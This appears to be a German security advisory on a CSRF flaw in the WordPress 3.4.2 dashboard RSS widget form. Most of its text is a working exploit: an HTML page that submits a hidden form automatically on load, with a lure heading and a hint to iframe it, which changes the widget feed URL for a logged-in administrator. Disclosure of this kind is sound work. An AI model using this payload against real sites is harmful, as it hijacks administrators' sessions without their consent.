Wordpress: Cross-Site Request Forgery

Eine Sicherheitslücke in WordPress hat zur Folge, dass ein entfernter Angreifer Attacken des Typs Cross-Site Request Forgery (CSRF/XSRF) ausführen kann.

Damit ist er in der Lage, Befehle mit den Rechten des Anwenders auszuführen. Handelt es sich dabei um einen angemeldeten Administrator, so gelangt der Angreifer über die Attacke an Administrator-Rechte.

Der verantwortliche Programmierfehler befindet sich in der WordPress-Komponente “dashboard-widget-control-form” in der Datei “wp-admin/index.php”. Um die Attacke durchführen zu können, muss der Angreifer sein Opfer auf eine Webseite mit folgendem HTML-Inhalt locken:

<body onload="javascript:document.forms[0].submit()">
<form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form">
<h1>How Many Girls You Have? xD))</h1>
<!-- Idea for you: Iframe it -->
<input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" />
<select id="rss-items-1" name="widget-rss[1][items]">
<option value='1' >1</option>
<option value='2' >2</option>
<option value='3' >3</option><option value='4' >4</option>
<option value='5' >5</option>
<option value='6' >6</option>
<option value='7' >7</option>
<option value='8' >8</option>
<option value='9' >9</option>
<option value='10' >10</option>
<option value='11' >11</option>
<option value='12' >12</option>
<option value='13' >13</option>
<option value='14' >14</option>
<option value='15' >15</option>
<option value='16' >16</option>
<option value='17' >17</option>
<option value='18' >18</option>
<option value='19' >19</option>
<option value='20' selected='selected'>20</option>
</select>
<input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget_id" value="dashboard_incoming_links" />
</form>

Einmal aufgerufen, startet die Cross-Site Request Forgery Attacke, und die vom Angreifer gewünschten Aktionen werden ausgeführt.

Betroffen sind die WordPress-Versionen 3.4.2 und älter.

Nach oben